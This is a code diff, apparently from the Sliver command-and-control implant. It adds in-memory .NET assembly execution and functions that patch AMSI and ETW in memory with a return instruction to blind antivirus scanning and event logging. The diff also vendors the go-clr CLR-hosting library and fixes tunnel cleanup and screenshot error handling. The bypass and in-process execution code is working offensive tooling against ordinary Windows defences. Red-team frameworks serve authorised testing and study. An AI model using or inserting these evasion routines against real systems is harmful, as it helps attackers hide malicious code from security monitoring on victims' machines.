sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -238,6 +239,26 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
}
|
||||
|
||||
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
|
||||
err := proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execAsm)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
|
||||
@@ -19,17 +19,18 @@ package tunnel_handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
once := sync.Once{}
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
once.Do(func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
cleanupTunnel := connection.Tunnel(tunnel.ID)
|
||||
if cleanupTunnel == nil {
|
||||
return
|
||||
}
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: cleanupTunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(cleanupTunnel.ID)
|
||||
if dst != nil {
|
||||
dst.Close()
|
||||
}
|
||||
cancelContext()
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package ps
|
||||
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
|
||||
pCommReader := bytes.NewBuffer(pComm)
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
|
||||
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
clr "github.com/Ne0nd0g/go-clr"
|
||||
"sync"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
clrInstance *CLRInstance
|
||||
assemblies []*assembly
|
||||
)
|
||||
|
||||
type assembly struct {
|
||||
methodInfo *clr.MethodInfo
|
||||
hash [32]byte
|
||||
}
|
||||
|
||||
type CLRInstance struct {
|
||||
runtimeHost *clr.ICORRuntimeHost
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
|
||||
c.Lock()
|
||||
defer c.Unlock()
|
||||
if c.runtimeHost == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initializing CLR runtime host")
|
||||
// {{end}}
|
||||
c.runtimeHost, _ = clr.LoadCLR(runtime)
|
||||
err := clr.RedirectStdoutStderr()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not redirect stdout/stderr: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return c.runtimeHost
|
||||
}
|
||||
|
||||
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
|
||||
var (
|
||||
methodInfo *clr.MethodInfo
|
||||
err error
|
||||
)
|
||||
|
||||
rtHost := clrInstance.GetRuntimeHost(runtime)
|
||||
if rtHost == nil {
|
||||
return "", errors.New("Could not load CLR runtime host")
|
||||
}
|
||||
|
||||
if asm := getAssembly(data); asm != nil {
|
||||
methodInfo = asm.methodInfo
|
||||
} else {
|
||||
methodInfo, err = clr.LoadAssembly(rtHost, data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not load assembly: %v\n", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
addAssembly(methodInfo, data)
|
||||
}
|
||||
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
|
||||
// for methods like Main(String[] args), if we pass an empty string slice
|
||||
// the clr loader will not pass the argument and look for a method with
|
||||
// no arguments, which won't work
|
||||
assemblyArgs = []string{" "}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
|
||||
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
|
||||
// {{end}}
|
||||
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Got output: %s\n%s\n", stdout, stderr)
|
||||
// {{end}}
|
||||
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
|
||||
}
|
||||
|
||||
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
|
||||
asmHash := sha256.Sum256(data)
|
||||
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
|
||||
assemblies = append(assemblies, asm)
|
||||
}
|
||||
|
||||
func getAssembly(data []byte) *assembly {
|
||||
asmHash := sha256.Sum256(data)
|
||||
for _, asm := range assemblies {
|
||||
if asm.hash == asmHash {
|
||||
return asm
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
clrInstance = &CLRInstance{}
|
||||
assemblies = make([]*assembly, 0)
|
||||
}
|
||||
@@ -200,6 +200,96 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func patchAmsi() error {
|
||||
// load amsi.dll
|
||||
amsiDLL := windows.NewLazyDLL("amsi.dll")
|
||||
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
|
||||
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
|
||||
amsiScanString := amsiDLL.NewProc("AmsiScanString")
|
||||
|
||||
// patch
|
||||
amsiAddr := []uintptr{
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
patch := byte(0xC3)
|
||||
for _, addr := range amsiAddr {
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(addr)) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching AMSI")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(addr)) = 0xC3
|
||||
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func patchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
|
||||
|
||||
// patch
|
||||
patch := byte(0xC3)
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching ETW")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
|
||||
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
|
||||
if amsiBypass {
|
||||
err := patchAmsi()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
if etwBypass {
|
||||
err := patchEtw()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
.idea
|
||||
__handlers__
|
||||
*.exe
|
||||
*.dll
|
||||
*.cs
|
||||
scratch/
|
||||
static/
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# go-clr
|
||||
[](https://godoc.org/github.com/ropnop/go-clr)
|
||||
|
||||
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
|
||||
|
||||
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
|
||||
load structs from memory.
|
||||
|
||||
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
|
||||
|
||||
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
|
||||
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
|
||||
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
|
||||
|
||||
## Installation and Usage
|
||||
`go-clr` is intended to be used as a package in other scripts. Install it with:
|
||||
```bash
|
||||
go get github.com/ropnop/go-clr
|
||||
```
|
||||
|
||||
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
|
||||
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
|
||||
`ExecuteByteArray`. Here's a quick example of using both:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
clr "github.com/ropnop/go-clr"
|
||||
"log"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[+] Loading DLL from Disk")
|
||||
ret, err := clr.ExecuteDLLFromDisk(
|
||||
"TestDLL.dll",
|
||||
"TestDLL.HelloWorld",
|
||||
"SayHello",
|
||||
"foobar")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] DLL Return Code: %d\n", ret)
|
||||
|
||||
|
||||
fmt.Println("[+] Executing EXE from memory")
|
||||
exebytes, err := ioutil.ReadFile("helloworld.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
runtime.KeepAlive(exebytes)
|
||||
|
||||
ret2, err := clr.ExecuteByteArray(exebytes)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
|
||||
}
|
||||
```
|
||||
|
||||
The other 2 examples show the same technique but without the magic functions.
|
||||
|
||||
### License
|
||||
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
|
||||
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
|
||||
some organizations forbid this license from being used in products (which is a good thing).
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
//go:build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
|
||||
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
|
||||
// This structure only contains a pointer to the AppDomain's virtual function table
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomain struct {
|
||||
vtbl *AppDomainVtbl
|
||||
}
|
||||
|
||||
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
|
||||
// The Virtual Function Table contains pointers to the COM IUnkown interface
|
||||
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomainVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
InitializeLifetimeService uintptr
|
||||
GetLifetimeService uintptr
|
||||
get_Evidence uintptr
|
||||
add_DomainUnload uintptr
|
||||
remove_DomainUnload uintptr
|
||||
add_AssemblyLoad uintptr
|
||||
remove_AssemblyLoad uintptr
|
||||
add_ProcessExit uintptr
|
||||
remove_ProcessExit uintptr
|
||||
add_TypeResolve uintptr
|
||||
remove_TypeResolve uintptr
|
||||
add_ResourceResolve uintptr
|
||||
remove_ResourceResolve uintptr
|
||||
add_AssemblyResolve uintptr
|
||||
remove_AssemblyResolve uintptr
|
||||
add_UnhandledException uintptr
|
||||
remove_UnhandledException uintptr
|
||||
DefineDynamicAssembly uintptr
|
||||
DefineDynamicAssembly_2 uintptr
|
||||
DefineDynamicAssembly_3 uintptr
|
||||
DefineDynamicAssembly_4 uintptr
|
||||
DefineDynamicAssembly_5 uintptr
|
||||
DefineDynamicAssembly_6 uintptr
|
||||
DefineDynamicAssembly_7 uintptr
|
||||
DefineDynamicAssembly_8 uintptr
|
||||
DefineDynamicAssembly_9 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstanceFrom uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstanceFrom_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
CreateInstanceFrom_3 uintptr
|
||||
Load uintptr
|
||||
Load_2 uintptr
|
||||
Load_3 uintptr
|
||||
Load_4 uintptr
|
||||
Load_5 uintptr
|
||||
Load_6 uintptr
|
||||
Load_7 uintptr
|
||||
ExecuteAssembly uintptr
|
||||
ExecuteAssembly_2 uintptr
|
||||
ExecuteAssembly_3 uintptr
|
||||
get_FriendlyName uintptr
|
||||
get_BaseDirectory uintptr
|
||||
get_RelativeSearchPath uintptr
|
||||
get_ShadowCopyFiles uintptr
|
||||
GetAssemblies uintptr
|
||||
AppendPrivatePath uintptr
|
||||
ClearPrivatePath uintptr
|
||||
SetShadowCopyPath uintptr
|
||||
ClearShadowCopyPath uintptr
|
||||
SetCachePath uintptr
|
||||
SetData uintptr
|
||||
GetData uintptr
|
||||
SetAppDomainPolicy uintptr
|
||||
SetThreadPrincipal uintptr
|
||||
SetPrincipalPolicy uintptr
|
||||
DoCallBack uintptr
|
||||
get_DynamicDirectory uintptr
|
||||
}
|
||||
|
||||
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
|
||||
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into appdomain.GetAppDomain()...")
|
||||
iu, err := runtimeHost.GetDefaultDomain()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
debugPrint("Entering into appdomain.QueryInterface()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetHashCode serves as the default hash function.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
|
||||
func (obj *AppDomain) GetHashCode() (int32, error) {
|
||||
debugPrint("Entering into appdomain.GetHashCode()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetHashCode,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
|
||||
}
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return int32(ret), nil
|
||||
}
|
||||
|
||||
// Load_3 Loads an Assembly into this application domain.
|
||||
// virtual HRESULT __stdcall Load_3 (
|
||||
// /*[in]*/ SAFEARRAY * rawAssembly,
|
||||
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
|
||||
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
|
||||
debugPrint("Entering into appdomain.Load_3()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Load_3,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(rawAssembly)),
|
||||
uintptr(unsafe.Pointer(&assembly)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
if err != syscall.Errno(1150) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
|
||||
func (obj *AppDomain) ToString() (domain string, err error) {
|
||||
debugPrint("Entering into appdomain.ToString()...")
|
||||
var pDomain *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pDomain)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
|
||||
return
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type Assembly struct {
|
||||
vtbl *AssemblyVtbl
|
||||
}
|
||||
|
||||
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
|
||||
type AssemblyVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_CodeBase uintptr
|
||||
get_EscapedCodeBase uintptr
|
||||
GetName uintptr
|
||||
GetName_2 uintptr
|
||||
get_FullName uintptr
|
||||
get_EntryPoint uintptr
|
||||
GetType_2 uintptr
|
||||
GetType_3 uintptr
|
||||
GetExportedTypes uintptr
|
||||
GetTypes uintptr
|
||||
GetManifestResourceStream uintptr
|
||||
GetManifestResourceStream_2 uintptr
|
||||
GetFile uintptr
|
||||
GetFiles uintptr
|
||||
GetFiles_2 uintptr
|
||||
GetManifestResourceNames uintptr
|
||||
GetManifestResourceInfo uintptr
|
||||
get_Location uintptr
|
||||
get_Evidence uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetObjectData uintptr
|
||||
add_ModuleResolve uintptr
|
||||
remove_ModuleResolve uintptr
|
||||
GetType_4 uintptr
|
||||
GetSatelliteAssembly uintptr
|
||||
GetSatelliteAssembly_2 uintptr
|
||||
LoadModule uintptr
|
||||
LoadModule_2 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
GetLoadedModules uintptr
|
||||
GetLoadedModules_2 uintptr
|
||||
GetModules uintptr
|
||||
GetModules_2 uintptr
|
||||
GetModule uintptr
|
||||
GetReferencedAssemblies uintptr
|
||||
get_GlobalAssemblyCache uintptr
|
||||
}
|
||||
|
||||
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetEntryPoint returns the assembly's MethodInfo
|
||||
// virtual HRESULT __stdcall get_EntryPoint (
|
||||
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
|
||||
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
|
||||
debugPrint("Entering into assembly.GetEntryPoint()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_EntryPoint,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pRetVal)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+367
@@ -0,0 +1,367 @@
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
